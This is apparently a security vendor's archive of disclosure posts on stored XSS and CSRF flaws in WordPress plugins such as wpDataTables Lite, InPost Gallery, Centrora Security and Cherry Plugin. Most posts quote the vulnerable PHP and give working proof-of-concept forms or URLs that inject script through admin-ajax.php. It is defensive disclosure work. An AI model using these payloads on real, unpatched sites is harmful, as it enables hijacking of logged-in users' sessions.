13 Feb

Vulnerability Details: Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in BP Better Messages

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

03 Feb

Vulnerability Details: Authenticated Persistent Cross-Site Scripting (XSS) in Watu

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

12 Jan

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in Chained Quiz

When adding a vulnerability to our data set we actually look in to it to confirm that a vulnerability actual existed, what versions of the plugin had the vulnerability, and that it has been fully fixed. Recently while looking over changes made in version 0.9.9 of the plugin Chained Quiz, which was listed as having “Fixed various XSS issues”, we noticed that one of the cross-site scripting (XSS) issues was only partially resolved.

Several of the changes made sanitized title fields for various pieces of the plugin’s quizzes. By default only Administrator-level user have access to the pages with those fields and for those users it wouldn’t have really been a vulnerability for the fields to not be sanitized since that level of user normally have the unfiltered_html capability, which allows them to do the equivalent of cross-site scripting. The plugin does provides the option to make those pages as well as the Social Sharing page accessible to lower level users, which would not have that capability, which would make this a vulnerability.

In looking over the relevant files what we noticed was that the rest of the text input is not being sanitized, so the vulnerability still exists on those pages.

An example of that is when creating a new question, you can see that in version 0.9.9 the value “$vars[‘title’]” is sanitized but the other text inputs “$vars[‘question’]” and “$vars[‘qtype’]” are not (the database field for “$vars[‘qtype’]” is limited to 20 characters making it difficult to use it for malicious code) :

25
26
27
28
29
$vars['title'] = sanitize_text_field($vars['title']);
 
$result = $wpdb->query($wpdb->prepare("UPDATE ".CHAINED_QUESTIONS." SET
	question=%s, qtype=%s, title=%s, autocontinue=%d WHERE id=%d", 
	$vars['question'], $vars['qtype'], $vars['title'], @$vars['autocontinue'], $id));

The text inputs on Social Sharing page are also not sanitized or escaped.

We contacted the developer about the issue and seeing as they had just fixed part of the issue and another related vulnerability, we figured they would be receptive (that is usually the case in this type of situation). Instead we got a very different response. It began:

The contents of the questions should not be filtered: it has to allow HTML and scripts if the site managers want to use them.
All these issues are “Self-XSS” that we are not interested to hear about: no one has any interest to hack their own site or give management access to people they don’t trust.

As far as we can tell self-XSS actually refers to a social engineering attack, not a vulnerability, which these are.

In our reply to that we explained that unless users have the unfiltered_html capability they are not allowed to use unfiltered HTML, so they needed to make sure users without the capability had their input sanitized. We haven’t gotten any response in the week since we sent that reply and the vulnerability hasn’t been resolved.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=chainedquiz_social_sharing, when logged in to WordPress with an account that has access to the page.

  1. As an Administrator access /wp-admin/admin.php?page=chainedquiz_options and set it so that Subscribers can manage quizzes.
  2. Log in as a Subscriber.
  3. Visit /wp-admin/admin.php?page=chainedquiz_social_sharing.
  4. In the “Your Facebook App ID” field enter ‘”><script>alert(document.cookie);</script>’ (without the single quotes around it).
  5. Click “Save All Settings”.

Timeline

  • January 4, 2017 – Developer notified.
  • January 5, 2017 – Developer responds.
  • January 12, 2017 – WordPress.org Plugin Directory notified.
  • January 12, 2017 – Removed from WordPress.org Plugin Directory.
  • January 12, 2017 – Version 1.0 submitted to WordPress.org Plugin Directory, which fixes issue.
12 Dec

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in wpDataTables Lite

One of things we do to keep track of what vulnerabilities are out there in WordPress plugins, to provide our customers with the best data on them, is to monitor our websites for hacking attempts. In September we had request that looked like probing for usage of the plugin wpDataTables Lite, through a request for /wp-content/plugins/wpdatatables/Licensing/GPL.txt. Though when we went to look into this we noticed the plugin hasn’t have a file at that location, so it would seem to have been a request checking for something else. It looks like the hacker was a probably probing for usage of a page paid version of the same plugin, which had contained an arbitrary file upload vulnerability in the past. That vulnerability was due to an upload function be accessible to anyone (even if not logged in) through WordPress’ AJAX functionality. Once we saw that we took a quick look at the wpDataTables Lite to see if there were any issue along those lines and found that there is an authenticated persistent cross (XSS) vulnerability in the plugin as of version 1.1.

In the plugin no function are made accessible  for those that are not logged in, but there are 9 that are accessible to those logged in to WordPress. Since that makes them accessible to anyone who is logged in, if the functions are intended to only accessible to higher level users there needs to be code in the function to restrict access.

On of those AJAX accessible functions handles saving the plugins settings (in the file /controllers/wdt_admin_ajax_actions.php):

105
add_action( 'wp_ajax_wdt_save_settings', 'wdt_save_settings');

The settings page is only accessible by Administrator level users, but the wdt_save_settings() function doesn’t restrict it to them:

51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
function wdt_save_settings(){
 
	$_POST = apply_filters( 'wpdatatables_before_save_settings', $_POST );
 
	// Get and write main settings
	$wdtSiteLink = $_POST['wdtSiteLink'];
 
	$wpRenderFilter = $_POST['wpRenderFilter'];
	$wpInterfaceLanguage = $_POST['wpInterfaceLanguage'];
	$wpDateFormat = $_POST['wpDateFormat'];
	$wpTopOffset = $_POST['wpTopOffset'];
	$wpLeftOffset = $_POST['wpLeftOffset'];
	$wdtBaseSkin = $_POST['wdtBaseSkin'];
	$wdtTablesPerPage = $_POST['wdtTablesPerPage'];
	$wdtNumberFormat = $_POST['wdtNumberFormat'];
	$wdtDecimalPlaces = $_POST['wdtDecimalPlaces'];
	$wdtNumbersAlign = $_POST['wdtNumbersAlign'];
	$wdtCustomJs = $_POST['wdtCustomJs'];
	$wdtCustomCss = $_POST['wdtCustomCss'];
	$wdtMinifiedJs = $_POST['wdtMinifiedJs'];
	$wdtMobileWidth = $_POST['wdtMobileWidth'];
	$wdtTabletWidth = $_POST['wdtTabletWidth'];
 
 
	update_option('wdtSiteLink', $wdtSiteLink);
 
	update_option('wdtRenderCharts', 'below'); // Deprecated, delete after 1.6
	update_option('wdtRenderFilter', $wpRenderFilter);
	update_option('wdtInterfaceLanguage', $wpInterfaceLanguage);
	update_option('wdtDateFormat', $wpDateFormat);
	update_option('wdtTopOffset', $wpTopOffset);
	update_option('wdtLeftOffset', $wpLeftOffset);
	update_option('wdtBaseSkin', $wdtBaseSkin);
	update_option('wdtTablesPerPage', $wdtTablesPerPage);
	update_option('wdtNumberFormat', $wdtNumberFormat);
	update_option('wdtDecimalPlaces', $wdtDecimalPlaces);
	update_option('wdtNumbersAlign', $wdtNumbersAlign);
	update_option('wdtCustomJs', $wdtCustomJs);
	update_option('wdtCustomCss', $wdtCustomCss);
	update_option('wdtMinifiedJs', $wdtMinifiedJs);
	update_option('wdtMobileWidth', $wdtMobileWidth);
	update_option('wdtTabletWidth', $wdtTabletWidth);

It also doesn’t check for a valid nonce, so saving the settings is also vulnerable to cross-site request forgery (CSRF).

You can also see that no sanitization is done before saving the settings opening up the possibility of cross-site scripting (XSS) if the escaping is not done when they are output.

On the settings page the setting’s values are not escaped. Using the value for wdtCustomJs as an example, it retrieved from the database here (in the file /controllers/wdt_admin.php):

728
$tpl->addData('wdtCustomJs', get_option('wdtCustomJs'));

Then output in the file /templates/settings.inc.php:

<textarea name="wdtCustomJs" id="wdtCustomJs" style="width: 430px; height: 200px;"><?php echo (!empty($wdtCustomJs) ? stripslashes($wdtCustomJs) : '') ?></textarea><br/>

That value is also output on frontend pages that include tables from the plugin and is not escaped there either. That happens through the function wdt_render_script_style_block() in the file /controllers/wdt_functions.php:

404
405
406
407
408
409
410
411
412
413
414
415
416
function wdt_render_script_style_block(){
 
	$customJs = get_option('wdtCustomJs');
	$script_block_html = '';
	$style_block_html = '';
 
	if($customJs){
		 $script_block_html .= '<script type="text/javascript">'.stripslashes_deep($customJs).'</script>';
	}
	echo $script_block_html;
 
 
}

We notified the developer of the issue on September 8 and they responded the same day that they would fix it with the next release. Three months later a new version was put out, but it doesn’t contain anything that looks like an attempt to fix the issue.

Proof of Concept

The following proof of concept will cause an alert that says “XSS” to be shown on the website’s frontend pages that include tables from the plugin.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wdt_save_settings" />
<input type="hidden" name="wdtCustomJs" value='alert("XSS");' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 9/8/2016 – Developer notified.
  • 9/8/2016 –  Developer responds.
  • 12/12/2016 – WordPress.org Plugin Directory notified.
  • 12/12/2016 – Plugin removed from WordPress.org Plugin Directory.
  • 12/13/2016 – Version 1.2.2, which fixes vulnerability, submitted to Plugin Directories’ repository.
20 Oct

Authenticated Persistent Cross-Site (XSS) Vulnerability in InPost Gallery

One of the ways we keep track of vulnerabilities in WordPress plugins to provide our customers with the best data is by monitoring our websites for apparent activity by hackers. We recently had a request for a file from the plugin InPost Gallery, /wp-content/plugins/inpost-gallery/js/front.js. We don’t have that plugin installed on the website, so the request would likely be from someone probing for usage of the plugin. In looking over the plugin for something that hackers might target, we found a couple of vulnerabilities and some additional security issues. We are not sure if either of the vulnerabilities we found are are what the hacker was looking for, or if there is still some other issue lurking in the plugin.

The lesser of the two vulnerabilities was an authenticated persistent cross-site scripting (XSS) vulnerability.

The plugin registers the function save_settings() to be accessible to anyone logged in through WordPress’ AJAX functionality (through the file /index.php):

91
add_action('wp_ajax_inpost_gallery_save_settings', array(__CLASS__, 'save_settings'));

The settings page is only accessible to users who have the “edit_pages” capability (which would normally be Editor and Administrator level users). The save_settings() function therefore should be restricted in the same way, but it wasn’t as of version 2.1.2:

155
156
157
158
159
160
161
public static function save_settings()
{
	$data = array();
	parse_str($_REQUEST['values'], $data);
	update_option('inpost_gallery_settings', $data);
	exit;
}

There also wasn’t any nonce check needed to prevent cross-site request forgery (CSRF), which also could have much the same impact as a capabilities check since the nonce shouldn’t be accessible to lower level users. You can also see that there is no sanitization done there.

When the value is echoed through the file /views/admin/settings.php to be shown on the settings page the values are not escaped. For example, the value for input “admin_thumb_width” is echoed out on line 28:

<b><?php _e("Post metabox thumbnails size", 'inpost-gallery') ?></b>:&nbsp;<input class="inpost_gallery_image_size_field" type="text" value="<?php echo $admin_thumb_width ?>" name="admin_thumb_width" />&nbsp;x&nbsp;<input class="inpost_gallery_image_size_field" type="text" value="<?php echo $admin_thumb_height ?>" name="admin_thumb_height" />&nbsp;px<br />

After we notified the developer of the issue, version 2.1.2.1 was released, which adds a capabilities check to the save_settings() function (no protection against CSRF has been added yet):

556
557
558
559
560
561
562
563
564
565
566
public static function save_settings()
{
	if (current_user_can('manage_options'))
	{
		$data = array();
		parse_str($_REQUEST['values'], $data);
		update_option('inpost_gallery_settings', $data);
	}
 
	exit;
}

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=inpost-gallery-settings, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress

http://[path to WordPress]/wp-admin/admin-ajax.php?action=inpost_gallery_save_settings&values=admin_thumb_width="><script>alert(document.cookie);</script>

Timeline

  • 10/16/2016 – Developer notified.
  • 10/18/2016- Version 2.1.2.1 released, which fixes issue.
02 Sep

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in Centrora Security

Recently while during some quick security checks over security plugins we noticed that the protection against cross-site request forgery (CSRF) in the Centrora Security plugin was easily bypassed. To provide an example of that in action we looked at how that could be used to insert JavaScript code into a page, which would be a cross-site scripting (XSS) vulnerability. While we doing that we realized there was an additional security issue with the plugin, it fails to restrict its AJAX functions to intended user levels. Using the example from the first vulnerability that leads to authenticated persistent cross-site scripting (XSS) and it could have possibly lead to other issues as of version 6.5.6.

The plugin makes the function runAction() accessible through WordPress’s AJAX with the following code in the file /vendor/oseframework/ajax/oseAjax.php:

70
71
72
73
74
75
public static function addActions($func)
{
	if (class_exists('oseWordpress'))
	{
		add_action('wp_ajax_'.$func, 'oseAjax::runAction');
	}

That makes the function accessible to anyone logged in to WordPress, so if something is only intended for users with certain roles, you need to check for that. The runAction() function didn’t do that, but if the CSRF protection was working it would provide a similar protection in most cases since a lower level user wouldn’t have the access to the proper nonce to pass that check. The function secureCheck() run in that function should do that, but didn’t due to the issue mentioned in our other post.

33
34
35
36
37
38
39
40
public static function runAction()
{
	$centrora = oseFirewall::runApp();
	self::secureCheck();
	$requst = $centrora->runController($_REQUEST['controller'] . 'Controller', $_REQUEST['task']);
	$requst->execute();
 
}

From the request goes to the runController() function in the file /classes/Library/oseFirewallBase.php:

289
290
291
292
293
294
public static function runController ($controller, $action) {
	//global $centrora;
	$centrora = self::runApp();
	$requst = $centrora->runController($controller, $action);
	$requst->execute();
}

No check was done there either. From the request goes to the execute() function in the file /vendor/phpixie/core/classes/PHPixie/Request.php:

184
185
186
187
188
189
190
191
192
193
194
195
196
197
public function execute()
{
	$this->pixie->cookie->set_cookie_data($this->_cookie);
	$class = $this->param('namespace',$this->pixie->app_namespace).'Controller\\'.ucfirst($this->param('controller'));
	$controller = $this->pixie->controller($class);
	$controller->request = $this;
	if (isset($_REQUEST['action'])) {
		$controller->run($_REQUEST['action']);
		return $controller->response;
	} else {
		$controller->run($this->param('action'));
		return $controller->response;
	}
}

No check was done there either. From the request goes to the run() function in the file /vendor/phpixie/core/classes/PHPixie/Controller.php:

96
97
98
99
100
101
102
103
104
105
106
107
108
public function run($action)
{
	$action = 'action_'.$action;
	if (!method_exists($this, $action))
		throw new \PHPixie\Exception\PageNotFound("Method {$action} doesn't exist in ".get_class($this));
 
	$this->execute = true;
	$this->before();
	if ($this->execute)
		$this->$action();
	if ($this->execute)
		$this->after();
}

From there the action specified in the request is run, going back to example from the previous post the action run is addips, which is handle through the function action_Addips() in the file /classes/App/Controller/ManageipsController.php. Once again no check if the user should have access was done and the saving of the “title” input happens without any sanitization (as detailed in the other post):

59
60
61
62
63
64
65
public function action_Addips() {
	$this->model->loadRequest();
	$ipmanager = $this->model->getFirewallIpManager ();
	$ip_start = $this->model->getVar('ip_start', null); 
	$ip_type =  $this->model->getVar('ip_type', null);
	$ip_status = $this->model->getInt('ip_status', 1);
	$title =  $this->model->getVar('title', 'Backend Added IP');

The “title” value is returned on the page/wp-admin/admin.php?page=ose_fw_manageips through an AJAX request through the function action_GetACLIPMap() in the file /classes/App/Controller/ManageipsController.php that doesn’t escape it either.

On the day we contacted the developer about the issue they fixed the lack of user level checking with the release of version 6.5.7 of the plugin, and then fixed the lack of sanitization with the release of 6.5.9 two days later.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=ose_fw_manageips, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="addips" />
<input type="hidden" name="task" value="addips" />
<input type="hidden" name="option" value="com_ose_firewall" />
<input type="hidden" name="controller" value="manageips" />
<input type="hidden" name="title" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="ip_type" value="ip" />
<input type="hidden" name="ip_start" value="1.1.1.1" />
<input type="hidden" name="ip_end" value="" />
<input type="hidden" name="ip_status" value="1" />
<input type="hidden" name="centnounceForm" value="false" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/30/2016 – Developer notified.
  • 8/30/2016 – Version 6.5.7 released, which fixes the issue.
08 Jul

Authenticated Persistent Cross-SIte Scripting (XSS) Vulnerability in WooCommerce Products Filter

When using WooCommerce you introduce an additional security risk due to the fact that WooCommerce allows the creation of WordPress accounts by customers by default. That is a security risk because many of the security vulnerabilities in WordPress plugins we are seeing found by others and found by us these days involve something that is only exploitable by logged in users. With that risk, you would hope that developers of plugin that interact with WooCommerce would be careful to avoid that type of issue, but from starting to look over those plugins we have found that isn’t always the case.

In the WooCommerce Products Filter plugin settings are saved through AJAX accessible function woof_save_options(), located in the file /index.php. The file looked this in version 1.14.2:

154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
public function woof_save_options()
{
 
	$data = array();
	parse_str($_REQUEST['formdata'], $data);
 
	//if (wp_verify_nonce($data['_wpnonce']))
	{
		if (isset($data['woof_settings']))
		{
			$_POST = $data; //for WC_Admin_Settings
			WC_Admin_Settings::save_fields($this->get_options());
			//+++
			if (class_exists('SitePress'))
			{
				$lang = ICL_LANGUAGE_CODE;
				if (isset($data['woof_settings']['wpml_tax_labels']) AND ! empty($data['woof_settings']['wpml_tax_labels']))
				{
					$translations_string = $data['woof_settings']['wpml_tax_labels'];
					$translations_string = explode(PHP_EOL, $translations_string);
					$translations = array();
					if (!empty($translations_string) AND is_array($translations_string))
					{
						foreach ($translations_string as $line)
						{
							if (empty($line))
							{
								continue;
							}
 
							$line = explode(':', $line);
							if (!isset($translations[$line[0]]))
							{
								$translations[$line[0]] = array();
							}
							$tmp = explode('^', $line[1]);
							$translations[$line[0]][$tmp[0]] = $tmp[1];
						}
					}
 
					$data['woof_settings']['wpml_tax_labels'] = $translations;
				}
			}
			//+++
			if (is_array($data['woof_settings']))
			{
				update_option('woof_settings', $data['woof_settings']);
			}
			wp_cache_flush();
		}
	}
 
	die('done');
}

While the changing of the plugin’s settings would normally only be accessible Administrator level users, there is no checking done to make sure lower level users are not accessing it. There is a nonce check in the code that could restrict access to those who could access the setting’s page, but it is commented out. Looking back to older version, when the this function was introduced in version 1.1.4 it was already commented out already.

This could used for persistent cross-site scripting (XSS) due to the fact that the settings are not sanitized when saved as can be seen in that function. An there is not escaping done in at least some cases. An example being when the setting “default_overlay_skin_word” is output on frontend pages:

856
857
858
<?php if (isset($this->settings['default_overlay_skin_word']) AND ! empty($this->settings['default_overlay_skin_word'])): ?>
		woof_lang_loading = "<?php echo __($this->settings['default_overlay_skin_word'], 'woocommerce-products-filter') ?>";
<?php endif; ?>

After we contacted the developer about the issue they released version 1.1.5, which added a check to the function woof_save_options() function to see if the user making the request can manage_options, which is a capability normally only Administrator level users have, before allowing the rest of the function’s code to run:

261
262
263
264
265
266
267
268
269
270
271
272
273
public function woof_save_options()
{
 
//save options can admin only <notifications@pluginvulnerabilities.com>
if (!current_user_can('manage_options'))
{
	return;
}
 
//***
 
$data = array();
parse_str($_REQUEST['formdata'], $data);

The function still lacks protection against cross-site request forgery (CSRF), as the nonce check remains commented out.

Proof of Concept

The following proof of concept URL will cause any available cookies to shown in alert box on pages from the plugin, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="woof_save_options" />
<input type="hidden" name="formdata" value="woof_settings=&woof_settings%5Bdefault_overlay_skin_word%5D=%22%3B+alert(document.cookie)%3B+%22" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/27/2016 – Developer notified.
  • 7/8/2016 – Version 1.1.5 released, which fixes vulnerability.
30 Jun

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in Cherry Plugin

As we continue looking at ways we can improve the security of WordPress plugins, one of the thing we are trying is checking over plugins that we have recently added new vulnerabilities to our data set to see if we can find any other obvious vulnerabilities. The third we have spotted is in the plugin Cherry Plugin.

We recently added two vulnerabilities to our data set that existed in older version of the plugin, which were caused by having code that was only intended to be used by Administrator level users accessible to anyone (you didn’t even have to be logged in). The vulnerability we found shows that the developers still are having problems with properly restricting access in the plugins. In this case the function cherry_mtc_save(), which is located in the file /includes/plugin-assets.php, is made accessible to any logged in user through an AJAX request. Since it is also only used through the Maintenance Mode page for the plugin, which is only accessible to Administrators, the function should have restrictions to prevent lower level users from accessing it. That isn’t the case:

69
70
71
72
73
function cherry_mtc_save() {
	$post_date = isset($data) ? $data : $_POST['data'] ;
	update_option('mtc_options', $post_date);
	exit();
}

You can see that there is also no nonce check in the function, so the function can also be exploited through cross-site request forgery (CSRF).

The function saves changes to the settings for the plugin’s maintenance mode. With that a lower level user could turn on the plugin’s maintenance mode, which would be a nuisance on its own. But a real security risk comes from the fact that they can set the description that is shown on the page shown when the maintenance mode is on to include JavaScript code, meaning there is a persistent cross-site scripting (XSS) vulnerability.

You can see that no sanitization is done when the settings are saved and then when it is output in the file /includes/plugin-under-construction-content.php:

69
70
if(isset($mtc_options['mtc_mode_description'])){ ?>
	<p id="under_construction_description"><?php echo stripslashes( $mtc_options['mtc_mode_description'] ); ?></p>

It isn’t clear if the developer intended for Administrators to use JavaScript in that field or if they just hadn’t bothered to sanitize or escape the value.

Proof of Concept

The following proof of concept will turn on the maintenance mode and display an alert reading XSS, when submitted while logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="mtc_save" />
<input type="hidden" name="data[mtc_mode_on]" value="1" />
<input type="hidden" name="data[mtc_mode_description]" value='/><script>alert("XSS");</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/23/2016 – Developer notified.